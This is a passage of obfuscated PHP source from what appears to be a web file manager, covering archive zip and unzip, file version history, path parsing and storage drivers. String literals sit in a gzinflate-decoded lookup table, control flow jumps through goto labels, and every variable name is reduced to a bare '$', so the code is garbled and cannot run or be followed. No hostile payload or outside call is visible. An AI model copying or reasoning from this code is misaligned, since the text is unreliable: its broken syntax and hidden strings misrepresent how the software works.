driverMake(&$) { $ =& $_SERVER[]; $ = KodIO::parse($); if (!self::$driverListSystem) { $ = Model($[857])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($, $[487]); } if ($[$[33]] == KodIO::KOD_IO && !self::$driverListSystem[$[$[487]]]) { throw new Exception($[1265]); return !1; } $ = $[$[1266]]; $ = self::driverGet($, $); return $; } private static function driverGet($, &$) { $ =& $_SERVER[]; $ = $[$[1267]]; $ = $[$[487]]; switch ($[$[33]]) { case KodIO::KOD_IO: $ = self::$driverListSystem[$]; break; case KodIO::KOD_SOURCE: $ = $ . $; $ = array($[1268] => $[1269], $[6] => $); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $ = $GLOBALS[$[1270]]; self::$driverListUser = array_to_keyvalue($, $[487]); } $ = self::$driverListUser[$]; break; case KodIO::KOD_SHARE_LINK: $ = array($[1268] => $[1271], $[6] => $); $ = Action($[1272])->sharePathInfo($[$[87]]); $ = $[$[194]]; if (!$[$[194]]) { $ = Model($[681])->getInfo($[$[682]]); $ = KodIO::clear($[$[1273]] . $[$[1266]]); $[$[574]] = $; $[$[1248]] = $; $ = array($[1268] => $[1274], $[6] => $); } break; case KodIO::KOD_SHARE_ITEM: $ = array($[1268] => $[1275], $[6] => $); $ = Model($[681])->getInfo($[$[487]]); if ($[$[194]] == $[231]) { $ = KodIO::clear($[$[1273]] . $[$[1266]]); $[$[574]] = $; $[$[1248]] = $; $ = array($[1268] => $[1276], $[6] => $); } else { if (!$) { $ = $[$[194]]; } } break; default: $ = $[$[87]]; $ = array($[1268] => $[1277]); break; } $ = $[$[87]]; if (!isset(self::$driverCache[$])) { $ = strtolower($[$[98]]); $ = $GLOBALS[$[6]][$[92]][$[921]]; $ = $[77] . (isset($[$]) ? $[$] : ucfirst($)); if (!class_exists($)) { show_json("{$} not exists!", !1); } $ = isset($[$[6]]) ? $[$[6]] : !1; self::$driverCache[$] = new $($); } $ = self::$driverCache[$]; $->pathDriver = $; $->pathBase = $[12]; if (isset($[$[6]][$[1278]])) { $->pathBase = rtrim($[$[6]][$[1278]], $[8]) . $[8]; $ = $->pathBase . ltrim($, $[8]); } $ = $->getPath($); if (isset($[$[1248]])) { $ = $[$[1248]]; } $->path = $; return $; } public static function errorTips($ = false) { $ =& $_SERVER[]; static $ = array(); $ = 1000; if ($ === -1) { return $ ? $[count($) - 1] : $[12]; } if ($ === !1) { return implode($[288], $); } if (count($) >= $) { $ = array_slice($, $ * 0.5, $); } $[] = $; write_log($[176] . ACTION . $[1279] . $, $[1280]); } public static function getLastError($ = '') { $ = self::errorTips(-1); return $ ? $ : $; } } goto E; F: $_SERVER[] = explode($_SERVER[][697], gzinflate(substr($_SERVER[][698], 10, -8))); $nmwlctqxar = $_SERVER[][699]; while ($nmwlctqxar < $_SERVER[][700]) { if ($nmwlctqxar >= 0) { break; } $nmwlctqxar++; } goto E; E: class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $; if ($) { return $; } $ = IO::init($_SERVER[][8]); return $; } private static function iconvSystem($) { return self::local()->iconvSystem($); } private static function iconvApp($) { return self::local()->iconvApp($); } public static function zipFolder($, $ = "zip", $ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; $ = IO::listPath($); if (!$) { return !1; } $ = array_merge($[$[85]], $[$[86]]); return self::zip($, $, $, $); } public static function zip($, $ = "zip", $ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; if (is_string($) && $) { $ = array(array($[87] => $)); } $ = self::init($[0][$[87]]); $ = self::info($[0][$[87]]); $ = $[12]; $ = $[12]; $ = $[12]; if ($ && substr($, -1, 1) != $[8]) { $ = get_path_father($); $ = get_path_this($); } else { $ = self::pathFather($[$[87]]); $ = $[$[32]] . $[10] . $; if (count($) > 1) { $ = IO::info($); $ = $[$[32]] . $[10] . $; } if ($) { $ = $; } } if ($->getType() == $[109]) { $ = self::init($); $ = $->getType() == $[109] ? $ : get_path_father($->path); $ = IO::getPathInner($); $ = rtrim($, $[8]) . $[8]; mk_dir($); } else { $ = TEMP_FILES . $[1281] . time() . rand_string(8) . $[8]; mk_dir($); file_put_contents($ . $[1282], $[12]); $ = $; } $ = IO::info($); if (!$ || !$[$[236]]) { show_json(LNG($[1283]), !1); } $ = self::zipFileList($, $); foreach ($ as $ => $) { $[$] = self::iconvSystem($); } $ = get_filename_auto($ . $, $[12], $); KodArchive::create(self::iconvSystem($), $); if (!IO::exist($)) { if ($) { del_dir($); } write_log($[1284] . $, $[400]); show_json(LNG($[1285]), !1); } if (!$) { return $; } $ = self::move($, $, $); if ($) { del_dir($); } if (!$) { write_log($[1286] . $ . $[1287] . $, $[400]); show_json(LNG($[1285]), !1); } return $; } public static function unzip($, $, $ = "-1", $ = "replace") { $ =& $_SERVER[]; $ = parent::info($); if (!$) { show_json(LNG($[1288]), !1); } $ = IO::infoFullSimple($); if (!$) { $ = IO::mkdir($); } if (isset($[$[194]]) && trim($[$[87]], $[8]) != trim($, $[8])) { $ = KodIO::make($[$[193]]); $ = IO::fileNameAuto($, $[$[32]], REPEAT_RENAME_FOLDER, !0); $ = IO::mkdir($ . $); } $ = $ && $ != $[1289] ? @json_decode($, !0) : -1; $ = self::unzipPart($, $); if (!$ || !IO::exist($[$[233]])) { show_json(LNG($[108]), !1); } $ = $[$[1290]][count($[$[1290]]) - 1]; if ($[$[1291]] == -1 || substr($[$[32]], -1, 1) == $[8]) { $ = $[$[1292]] . rand_string(10) . $[8]; mk_dir($); $ = count($[$[1290]]) == 1 ? IO::ext($) : get_path_ext($[$[233]]); $ = KodArchive::extract(self::iconvSystem($[$[233]]), $, $[$[1291]], $, $); self::unzipErrorCheck($, array($[1293], $, $, $, $)); Hook::trigger($[1294], $); recursion_dir($, $, $, 0); $ = array_merge($, $); $ = array(); foreach ($ as $) { $ = IO::move(self::iconvApp($), $, $); if ($) { $[] = $; } } del_dir($); } else { $ = IO::move($[$[233]], $, $, get_path_this($[$[32]])); if ($) { $[] = $; } } return $ ? $ : !1; } public static function unzipList($) { $ =& $_SERVER[]; $ = isset($[$[1295]]) ? $[$[1295]] : !1; $ = isset($[$[1291]]) ? @json_decode($[$[1291]], !0) : -1; $ = self::unzipPart($[$[87]], $); if (!$ || !IO::exist($[$[233]])) { show_json(LNG($[108]), !1); } $ = $[$[1290]][count($[$[1290]]) - 1]; $ = in_array(IO::ext($[$[233]]), array($[400], $[1296], $[1297], $[1298], $[1299], $[1300])); if (!$ && ($[$[1291]] == -1 || $)) { $ = $[$[1292]] . get_path_this($[$[233]]) . $[1301]; if (!IO::exist($)) { $ = $[$[1291]] == -1 ? get_path_ext(IO::pathThis($[$[87]])) : get_path_ext($[$[233]]); $ = KodArchive::listContent(self::iconvSystem($[$[233]]), !0, $); self::unzipErrorCheck($, array($[1302], $, $)); @file_put_contents($, json_encode($[$[1303]])); } return @json_decode(IO::getContent($), !0); } IO::fileOut($[$[233]], $, get_path_this($[$[32]])); die; } private static function zipFileList($, $ = false) { $ =& $_SERVER[]; $ = array(); foreach ($ as $) { $ = $[$[87]]; if ($) { $ = self::copy($[$[87]], $, $[914]); } else { $ = self::init($[$[87]]); if ($->getType() == $[109]) { $ = $->path; } } if ($ && self::local()->exist($)) { $[$[$[87]]] = $; } } if (!empty($)) { return array_values($); } show_json(LNG($[1262]), !1); } private static function localFilePath($) { $ =& $_SERVER[]; $ = KodIO::parse($); if ($[$[33]] == KodIO::KOD_SOURCE) { $ = Model($[920])->fileInfoGet(KodIO::sourceID($)); if (!$[$[87]]) { show_json($[1304], !1); } $ = $[$[87]]; } $ = self::init($); if ($->pathParse[$[1248]]) { $ = $->pathParse[$[1248]]; $ = self::init($); } $ = $->getType(); if ($ == $[109] || $ == $[1305]) { if (!$->exist($->path)) { show_json(LNG($[108]), !1); } return $->path; } return !1; } public static function unzipPart($, $ = -1) { $ =& $_SERVER[]; $ = IO::pathThis($); if (!$ || $ == -1) { $ = array(array($[32] => $, $[1291] => -1)); $[0][$[1306]] = $[0][$[32]]; } else { if (is_array($)) { $ = $; $ = count($) - 1; for ($ = 0; $ <= $; $++) { $ = $[$]; $ = get_path_this($[$[32]]) . (checkExtSafe($[$[32]]) ? $[12] : $[1307]); $[$][$[1306]] = $[1308] . intval($[$[1291]]) . $[474] . $; if ($ == 0) { continue; } $[$][$[1306]] = $[$ - 1][$[1306]] . $[1309] . $[$][$[1306]]; } } } if (!is_array($) || count($) == 0) { return !1; } $ = $[count($) - 1]; if (!IO::exist($)) { return !1; } $ = TEMP_FILES . $[1310] . kodIO::hashPathSafe($) . $[8]; $ = $ . $[$[1306]]; mk_dir($); file_put_contents(TEMP_FILES . $[1282], $[12]); if (IO::exist($)) { return array($[233] => $, $[1290] => $, $[1292] => $); } $ = self::localFilePath($); if (!$) { $ = $ . $[1311]; if (!IO::exist($)) { self::copy($, $, !1, get_path_this($)); } } if (!$ || !IO::exist($)) { return !1; } if ($[$[1291]] == -1) { return array($[233] => $, $[1290] => $, $[1292] => $); } $ = $; foreach ($ as $ => $) { if (!$ || $[$[1291]] == $[1289]) { break; } if (substr($[$[32]], -1, 1) == $[8]) { break; } $ = in_array(get_path_ext($[$[1306]]), array($[400], $[1296], $[1297], $[1298], $[1299], $[1300])); $ = $ == count($) - 1 && $; $ = $ . $[$[1306]]; $ = $ . get_path_this($[$[32]]); if (IO::exist($)) { $ = $; continue; } $ = $ == 0 ? get_path_ext($) : get_path_ext($); $ = KodArchive::extract(self::iconvSystem($), $, $[$[1291]], $, $); self::unzipErrorCheck($, array($[1312], $, $, $, $)); if (IO::exist($)) { IO::rename($, get_path_this($)); } $ = $; } $ = $; return array($[233] => $, $[1290] => $, $[1292] => $); } private static function unzipErrorCheck($, $ = false) { $ =& $_SERVER[]; if ($[$[1313]]) { return !0; } write_log(array($[1314], $, $), $[1315]); $ = is_array($[$[1303]]) ? json_encode($[$[1303]]) : $[$[1303]]; show_json($[1316] . $, !1); die; } } class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ =& $_SERVER[]; $ = $GLOBALS[$[6]][$[92]]; if ($[$[1317]] != 1) { return; } if ($[$[1318]] <= 0) { return; } if (isset($_REQUEST[$[1319]]) && $_REQUEST[$[1319]] == $[91]) { return; } Hook::bind($[1320], $[1321]); Hook::bind($[1322], $[1323]); Hook::bind($[1324], $[1325]); Hook::bind($[1326], $[1327]); Hook::bind($[1328], $[1329]); Hook::bind($[1330], $[1331]); } public static function eventBeforeUpload($) { if ($[3] && $[3] != REPEAT_REPLACE) { return; } $ = self::parsePath($[0]); if (!$) { return; } self::add($); } public static function eventBeforeEdit($) { $ = self::parsePath($[0]); if (!$) { return; } self::add($); } public static function eventBeforeCopyFile($, $, $, $, $, $) { $ =& $_SERVER[]; if (isset($->_data[$[1252]]) && $->_data[$[1252]]) { return; } $ = $->getPathOuter($); $ = self::parsePath($); if (!$) { return; } self::add($); } public static function eventBeforeRename($) { $ =& $_SERVER[]; $ = self::parsePath($[0]); if (!$) { return; } $ = self::checkInHistory($); if (!$) { return; } if ($[$[33]] == $[233]) { $ = self::listData($); if ($ && $[$[457]]) { self::moveHistory($, $[1]); } } else { IO::rename($[$[87]], $[1]); } } public static function eventBeforeMove($) { $ =& $_SERVER[]; $ = self::parsePath($[0]); if (!$) { return; } $ = self::parsePath($[1]); if (!$) { return; } $ = $[3]; $ = self::checkInHistory($); if (!$) { return; } $ = self::pathHistory($); if ($[$[33]] == $[233]) { $ = self::listData($); $ = rtrim($, $[8]) . $[8] . ($ ? $ : get_path_this($)); $ = self::listData($); if ($ && $[$[457]] && $ && $[$[457]]) { return self::clear($); } if ($ && $[$[457]]) { self::moveHistory($, $, $); } } else { IO::move($[$[87]], $, !1, $); self::clearEmptyFolder(IO::pathFather($[$[87]])); } } public static function eventAfterRemove($, $) { $ =& $_SERVER[]; if (!$) { return; } $ = self::parsePath($[0]); if (!$) { return; } $ = self::checkInHistory($); if (!$) { return; } if ($[$[33]] == $[233]) { $ = self::listData($, !1); if ($ && $[$[457]]) { self::clear($, !1); } } else { IO::remove($[$[87]]); self::clearEmptyFolder(IO::pathFather($[$[87]])); } } private static function checkInHistory($) { $ = self::pathHistory($); if (!IO::exist($)) { $ .= $_SERVER[][1332]; } return IO::exist($) ? IO::info($) : !1; } private static function parsePath($) { $ =& $_SERVER[]; if (!$) { return !1; } if (isset($GLOBALS[$[1333]]) && $GLOBALS[$[1333]]) { return; } $ = KodIO::parse($); $ = $[$[33]]; $ = !$ || $ == KodIO::KOD_IO || $ == KodIO::KOD_SHARE_ITEM; if (!$ || !$[$[1334]]) { return !1; } if (substr($, 0, strlen(DATA_PATH . $[1335])) == DATA_PATH . $[1335]) { return !1; } if ($ == KodIO::KOD_SHARE_ITEM) { $ = IO::init($); if ($->pathParse[$[1248]]) { return self::parsePath($->pathParse[$[1248]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $[1336]); foreach ($ as $) { if (!$ && substr($, 0, strlen($)) == $) { return !1; } } self::log($GLOBALS[$[1243]] . $[1337] . $); return $; } private static function pathHistory($) { $ =& $_SERVER[]; $ = self::$_historyBase . ltrim(KodIO::clear($), $[8]); $ = str_replace(array($[1338]), array($[1339]), $); return $; } public static function log($) { } public static function historyCount($) { $ =& $_SERVER[]; $ = array(); $ = array(); foreach ($ as $) { $ = get_path_father($); if (!$[$]) { $[$] = array(); } $[$][] = get_path_this($); } foreach ($ as $ => $) { $ = self::parsePath($); if (!$) { continue; } foreach ($ as $) { $ = self::listData(rtrim($, $[8]) . $[8] . $, !1); if ($ && $[$[457]]) { $[rtrim($, $[8]) . $[8] . $] = count($[$[457]]); } } } return $; } public static function add($) { $ =& $_SERVER[]; $ = self::listData($); if (!$) { return; } $ = Model($[860])->get($[1340]); $ = intval($GLOBALS[$[6]][$[92]][$[1318]]); $ = $ == $[1341] ? min(5, $) : $; if ($ <= 0) { return; } $ = IO::info($); $ = $[$[457]]; if ($[$[79]] == 0) { return; } if ($[$[79]] >= 1024 * 1024 * 500) { return !1; } $ = IO::hashSimple($); if ($ && $[0][$[689]] == $) { return !0; } if (array_key_exists($[236], $) && !$[$[236]]) { return !1; } $ = short_id(time()); $ = array($[487] => $, $[689] => $, $[32] => $[$[32]] . $[10] . date($[1342]) . rand_string(1), $[79] => $[$[79]], $[539] => USER_ID, $[234] => time(), $[1343] => $[12]); IO::mkdir($[$[1344]]); $ = IO::copy($, $[$[1344]], !1, $[$[32]]); if (!$) { self::clearEmptyFolder($[$[1344]]); return !1; } array_unshift($, $); if (count($) > $) { $ = array_slice($, $); foreach ($ as $) { IO::remove($[$[1344]] . $[$[32]]); } $ = array_slice($, 0, $); } return self::saveData($[$[1345]], $); } public static function remove($, $) { $ =& $_SERVER[]; $ = self::listData($); $ = array(); if (!$) { return !1; } foreach ($[$[457]] as $) { if ($[$[487]] == $) { IO::remove($[$[1344]] . $[$[32]]); continue; } $[] = $; } return self::saveData($[$[1345]], $); } public static function clear($, $ = true) { $ =& $_SERVER[]; $ = self::listData($, $); if (!$) { return !1; } foreach ($[$[457]] as $) { IO::remove($[$[1344]] . $[$[32]]); } return self::saveData($[$[1345]], array()); } public static function moveHistory($, $ = '', $ = '') { $ =& $_SERVER[]; $ = self::listData($, !1); if (!$ || !$[$[457]]) { return !1; } $ = $[1332]; $ = $ ? $ : get_path_this($); $ = $ ? $ : $[$[1344]]; $ = substr(get_path_this($[$[1345]]), 0, -strlen($)); foreach ($[$[457]] as $ => $) { $ = $ . substr($[$[32]], strlen($)); $ = IO::move($[$[1344]] . $[$[32]], $, !1, $); if ($) { $[$[457]][$][$[32]] = $; } } $[$[1345]] = IO::move($[$[1345]], $, !1, $ . $); self::saveData($[$[1345]], $[$[457]]); self::clearEmptyFolder($[$[1344]]); } public static function rollback($, $) { $ =& $_SERVER[]; $ = self::listData($); if (!$) { return; } $ = IO::info($); foreach ($[$[457]] as $ => $) { if ($[$[487]] == $) { self::add($); $ = $[$[1344]] . $[$[32]]; $ = IO::copy($, IO::pathFather($), REPEAT_REPLACE, $[$[32]]); if ($) { self::remove($, $); } return $; } } return !1; } public static function setDetail($, $, $) { $ =& $_SERVER[]; $ = self::listData($); if (!$) { return; } foreach ($[$[457]] as $ => $) { if ($[$[487]] == $) { $[$[457]][$][$[1343]] = $; self::saveData($[$[1345]], $[$[457]]); return !0; } } return !1; } public static function fileInfo($, $) { $ =& $_SERVER[]; $ = self::listData($); if (!$) { show_json(LNG($[108]), !1); } $ = $[12]; foreach ($[$[457]] as $ => $) { if ($[$[487]] != $) { continue; } $ = $[$[1344]] . $[$[32]]; break; } if (!$) { show_json(LNG($[108]), !1); } return IO::info($); } public static function fileOut($, $, $ = false) { $ =& $_SERVER[]; $ = self::fileInfo($, $); $ =& $GLOBALS[$[7]]; $ = isset($[$[1295]]) && $[$[1295]] == 1; if (isset($[$[33]]) && $[$[33]] == $[1346]) { return IO::fileOutImage($[$[87]], $[$[1347]]); } IO::fileOut($[$[87]], $, get_path_this($)); } public static function listData($, $ = true) { $ =& $_SERVER[]; if ($ && !IO::exist($)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $ = self::pathHistory($); $ = array($[1345] => $ . $[1332], $[1344] => rtrim(get_path_father($), $[8]) . $[8], $[457] => array()); $ = IO::getContent($[$[1345]]); if ($) { $ = json_decode($, !0); if (is_array($)) { $[$[457]] = $; } } return $; } private static function saveData($, $) { $ =& $_SERVER[]; self::log($[1348] . $ . $[74] . count($), $[842]); if ($) { return IO::setContent($, json_encode($)); } $ = IO::pathFather($); IO::remove($); self::clearEmptyFolder($); return !0; } public static function clearEmptyFolder($) { $ =& $_SERVER[]; if (trim($, $[8]) == trim(self::$_historyBase, $[8])) { return; } $ = IO::pathFather($); $ = IO::has($, !0); if ($[$[242]] > 0 || $[$[243]] > 0) { return; } IO::remove($); self::clearEmptyFolder($); } private static function getBasePath() { $ =& $_SERVER[]; $ = Model($[1349])->get($[1350]); if ($) { if (!IO::exist($)) { IO::mkdir($); } if (get_path_this($) == $[1335]) { $ = $[1351] . rand_string(8); @rename($, get_path_father($) . $[8] . $); $ = DATA_PATH . $ . $[8]; file_put_contents(DATA_PATH . $[1282], $[12]); Model($[1349])->set($[1350], $); } return $; } $ = DATA_PATH . $[1351] . rand_string(8) . $[8]; $ = IO::mkdir($); $ = rtrim($, $[8]) . $[8]; file_put_contents($ . $[1282], $[12]); file_put_contents(DATA_PATH . $[1282], $[12]); Model($[1349])->set($[1350], $); return $; } } class KodIO { const KOD_SOURCE = "{source}"; const KOD_USER_RECYCLE = "{userRecycle}"; const KOD_USER_FAV = "{userFav}"; const KOD_USER_FILE_TAG = "{userFileTag}"; const KOD_USER_FILE_TYPE = "{userFileType}"; const KOD_GROUP_ROOT_SELF = "{groupRootSelf}"; const KOD_USER_SHARE = "{userShare}"; const KOD_USER_SHARE_LINK = "{userShareLink}"; const KOD_USER_SHARE_TO_ME = "{shareToMe}"; const KOD_SHARE_ITEM = "{shareItem}"; const KOD_SHARE_LINK = "{shareItemLink}"; const KOD_SEARCH = "{search}"; const KOD_BLOCK = "{block}"; const KOD_IO = "{io}"; const KOD_USER_RECENT = "{userRencent}"; const KOD_USER_DRIVER = "{driver}"; public static function typeList() { $ =& $_SERVER[]; return array($[1352] => self::KOD_SOURCE, $[1353] => self::KOD_USER_RECYCLE, $[1354] => self::KOD_USER_FAV, $[1355] => self::KOD_USER_FILE_TAG, $[1356] => self::KOD_USER_FILE_TYPE, $[1357] => self::KOD_GROUP_ROOT_SELF, $[1358] => self::KOD_USER_SHARE, $[1359] => self::KOD_USER_SHARE_LINK, $[1360] => self::KOD_USER_SHARE_TO_ME, $[1361] => self::KOD_SHARE_ITEM, $[1362] => self::KOD_SHARE_LINK, $[1363] => self::KOD_SEARCH, $[1364] => self::KOD_BLOCK, $[1365] => self::KOD_IO, $[1366] => self::KOD_USER_RECENT, $[1367] => self::KOD_USER_DRIVER); } public static function parse($) { $ =& $_SERVER[]; $ = self::clear($); $ = array_values(self::typeList()); preg_match($[1368], $, $); $ = array($[508] => !1, $[1369] => !1, $[505] => !1, $[87] => $, $[1267] => !1, $[1266] => $[12]); if (is_array($) && count($) == 5) { $ = $[1370] . $[2] . $[414]; if (in_array($, $)) { $[$[1267]] = $[1]; $[$[33]] = $; $[$[1371]] = substr($, 1, -1); $[$[487]] = $[3]; } $[$[1266]] = $[4]; } $ = array($[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $[$[1334]] = in_array($[$[33]], $); return $; } public static function isTruePath($) { $ =& $_SERVER[]; if (substr($, 0, 1) != $[1370]) { return !0; } if (strpos($, $[495]) === 0) { return !0; } if (strpos($, $[1338]) === 0) { return !0; } if (strpos($, $[1372]) === 0) { return !0; } if (strpos($, $[1373]) === 0) { return !0; } if (strpos($, $[1374]) === 0) { return !0; } return !1; } public static function clear($) { $ =& $_SERVER[]; $ = str_replace(array($[1172], $[288]), $[53], $); $ = str_replace($[100], $[8], $); $ = $[1375]; if (substr($, 0, 3) == $[1376]) { $ = substr($, 3); } while (strstr($, $)) { $ = str_replace($, $[8], $); } $ = preg_replace($[1377], $[8], $); if ($ == $[8]) { return $[8]; } $ = rtrim($, $[8]); return $; } public static function pathTrue($) { $ =& $_SERVER[]; if (!$) { return $[12]; } $ = str_replace($[257], $[8], str_replace($[1378], $[8], $)); $ = str_replace($[257], $[8], str_replace($[1378], $[8], $)); if (!strstr($, $[1376])) { return $; } $ = explode($[8], $); foreach ($ as $ => $) { if ($ !== $[1379]) { continue; } for ($ = $; $ >= 0; $--) { if ($[$] === $[10] || $[$] === $[1379] || $[$] === -1) { continue; } if ($[$] === $[12]) { $[$] = -1; break; } $[$] = -1; $[$] = -1; break; } } $ = array(); foreach ($ as $) { if ($ !== -1) { $[] = $; } } $ = implode($[8], $); if (strpos($, $[1380]) === 0) { $ = $[1376] . substr($, strlen($[1380])); } return $; } public static function pathUrlClear($) { $ =& $_SERVER[]; if (!$) { return $; } $ = rawurldecode($); $ = str_replace($[1378], $[8], $); if (strpos($, $[76]) > 0) { $ = substr($, 0, strpos($, $[76])); } if (strpos($, $[1381]) > 0) { $ = substr($, 0, strpos($, $[1381])); } return $; } public static function sourceID($) { $ =& $_SERVER[]; $ = self::parse($); if ($[$[33]] !== self::KOD_SOURCE) { show_json(LNG($[1382]), !1); } return $[$[487]]; } public static function make($) { if (!$) { return !1; } return self::makePath(self::KOD_SOURCE, intval($)); } public static function makeShare($, $) { return self::makePath(self::KOD_SHARE_ITEM, $, $); } public static function makeFileTypePath($) { return self::makePath(self::KOD_USER_FILE_TYPE, $); } public static function makeFileTagPath($) { return self::makePath(self::KOD_USER_FILE_TAG, $); } public static function makePath($, $ = '', $ = '') { $ =& $_SERVER[]; $ = substr($, 1, -1); $ = $[1383] . $ . $[1384] . $ . $[1385]; $ = $ ? $ . $ . $[8] : $; return $; } public static function hashPath($, $ = false) { $ =& $_SERVER[]; $ = is_array($) ? $ : IO::info($); $ = _get($, $[1386], $[12]); if (!$ && isset($[$[238]])) { $ = trim($[$[238]], $[121]); } if ($) { return $; } if (!$ && isset($[$[194]]) && $[$[194]]) { $ = IO::info(KodIO::make($[$[194]])); $ = _get($, $[1386], $[12]); } $ = md5($[$[87]] . $[$[79]] . $[$[88]]); $ = $ . $[1387]; $ = $ ? $ : Cache::get($); if (!$ && $) { $ = IO::hashSimple($[$[87]]); Cache::set($, $ ? $ : $, 3600 * 24 * 30); } return $ ? $ : $; } public static function hashPathSafe($, $ = false) { $ =& $_SERVER[]; $ = self::hashPath($, $); return md5($ . $[1388] . Model($[860])->get($[861])); } public static function initSystemPath() { $ =& $_SERVER[]; if (defined($[1389])) { return; } define($[1389], self::systemPath($[192])); define($[1390], self::systemPath($[1391])); define($[1392], self::systemPath($[1393])); define($[1394], self::systemPath($[1395])); IOHistory::bindEvent(); } public static function systemPath($) { $ =& $_SERVER[]; $ = $[1396] . ucfirst($); $ = Model($[860])->get($); if ($) { return $; } if ($ == $[192]) { $ = self::make(Model($[920])->systemRootPathAdd($[622])); } else { $ = self::systemPath($[192]); $ = self::sourceID($); $ = self::make(Model($[920])->mkdir($, $)); } Model($[860])->set($, $); return $; } public static function systemFolder($) { $ = IO_PATH_SYSTEM_SOURCE . $; $ = Cache::get($); if (!$) { $ = IO::infoFullSimple($); if (!$) { $ = IO::mkdir($, REPEAT_SKIP); } else { $ = $[$_SERVER[][87]]; } Cache::set($, $, 3600 * 10); } return $; } public static function defaultDriver() { return Model($_SERVER[][857])->defaultDriver(); } public static function defaultIO() { $ =& $_SERVER[]; $ = self::defaultDriver(); return $[1397] . $[$[487]] . $[1385]; } public static function defaultDriverInit() { static $ = false; if ($) { return $; } $ = IO::init(self::defaultIO()); return $; } public static function fileTypeList() { $ =& $_SERVER[]; $ = $GLOBALS[$[6]][$[1398]]; foreach ($ as $ => $) { $ = $[1399] . $; $ = LNG($); if ($ != $) { $[$][$[32]] = $; } } return $; } public static function diskList($ = true) { $ = $_SERVER[][1400]; if ($) { $ = Cache::get($); if (is_array($)) { return $; } } $ = self::diskListGet(); Cache::set($, $, 60); return $; } public static function diskListGet() { $ =& $_SERVER[]; $ = array(); if ($GLOBALS[$[6]][$[1401]] == $[1402]) { $ = $[1403]; for ($ = 0; $ < strlen($); $++) { $ = $[$] . $[1404]; if (file_exists($)) { $[] = $; } } return $; } if (!function_exists($[101])) { $[] = $[931]; return $; } $ = explode($[288], shell_exec($[1405])); array_shift($); array_pop($); $ = array($[1406], $[1407], $[1408], $[1409], $[1410], $[1411], $[1412], $[1413]); foreach ($ as $) { $ = preg_split($[1414], $); $ = $[count($) - 1]; if (!strstr($[0], $[1415]) || !$) { continue; } $ = rtrim($, $[8]) . $[8]; if (in_array($, $)) { continue; } $[] = $; } return $; } public static function isSameDisk($, $) { $ =& $_SERVER[]; if ($GLOBALS[$[6]][$[1401]] == $[1402]) { return strtolower(substr($, 0, 1)) == strtolower(substr($, 0, 1)); } $ = stat($); $ = stat($); if ($ === !1 || $ === !1) { return !1; } return $[$[1416]] === $[$[1416]]; $ = self::diskList(); $ = !1; $ = !1; sort($); $ = array_reverse($); $ = rtrim($, $[8]) . $[8]; $ = rtrim($, $[8]) . $[8]; foreach ($ as $) { $ = strlen($); if (!$ && substr($, 0, $) == $) { $ = $; } if (!$ && substr($, 0, $) == $) { $ = $; } if ($ && $) { break; } } return $ === $; } public static function transferType($, $) { $ =& $_SERVER[]; $ = self::driverType($); $ = self::driverType($); if ($[$[33]] == $[$[33]] && $[$[1417]] == $[$[1417]]) { return $[1418]; } if ($[$[33]] == $[965] && $[$[33]] == $[109]) { return $[1295]; } if ($[$[33]] == $[109] && $[$[33]] == $[965]) { return $[110]; } return $[1419]; } public static function driverType($) { $ =& $_SERVER[]; $ = str_replace($[1420], $[12], strtolower($->getType())); if ($ == $[847] || $ == $[1421] || $ == $[1422]) { $ = self::defaultDriverInit(); } else { if ($ == $[1305] || $ == $[1423]) { $ = IO::init($->pathParse[$[1248]]); } } $ = $->path; $ = str_replace($[1420], $[12], strtolower($->getType())); if ($ == $[109]) { return array($[33] => $[109], $[1417] => $[12], $[87] => $, $[98] => $); } return array($[33] => $[965], $[1417] => $->pathDriver, $[87] => $, $[98] => $); } public static function pathDriverType($) { return $ ? self::driverType(IO::init($)) : !1; } public static function pathDriverLocal($) { $ =& $_SERVER[]; $ = $ ? self::driverType(IO::init($)) : !1; return strtolower($[$[33]]) == $[109] ? !0 : !1; } public static function allowCover($, $ = true) { $ =& $_SERVER[]; if (is_string($)) { $ = IO::info($); } if (!$ || $[$[33]] == $[78] || $[$[79]] <= 100) { return !1; } if (isset($[$[1424]]) || !$[$[87]]) { return !1; } if (isset($[$[235]]) && !$[$[235]]) { return !1; } static $ = false; if (!$ || !$) { $ = self::driverType(IO::init($[$[87]])); $ = $[$[98]]; $ = $[197]; if ($[$[33]] == $[109]) { $ = $[1425]; } if ($[$[98]] && is_array($[$[98]]->config)) { $ = $[$[98]]->config; if (isset($[$[1426]]) && $[$[1426]]) { $ = $[1425]; } } $ = KodIO::defaultDriver(); if (strtolower($[$[98]]) == $[109] && is_array($[$[6]])) { $ = $[$[6]][$[1278]]; if (substr($, 0, 2) == $[1427]) { $ = str_replace($[1427], BASIC_PATH, $); } $ = str_replace($[257], $[8], $); if (substr($[$[87]], 0, strlen($)) == $) { $ = $[197]; } } } return $ == $[1425] ? !0 : !1; } } goto b; e: define($_SERVER[][332], 2); class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "id"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("table", "order", "alias", "having", "group", "lock", "distinct", "auto", "filter", "validate", "result", "bind", "token"); public function __construct($ = '', $ = '', $ = '') { $ =& $_SERVER[]; $this->_initialize(); if (!empty($)) { if (strpos($, $[10])) { list($this->dbName, $this->name) = explode($[10], $); } else { $this->name = $; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($)) { $this->tablePrefix = $[12]; } elseif ($[12] != $) { $this->tablePrefix = $; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($[333]); } $this->db(0, empty($this->connection) ? $ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function 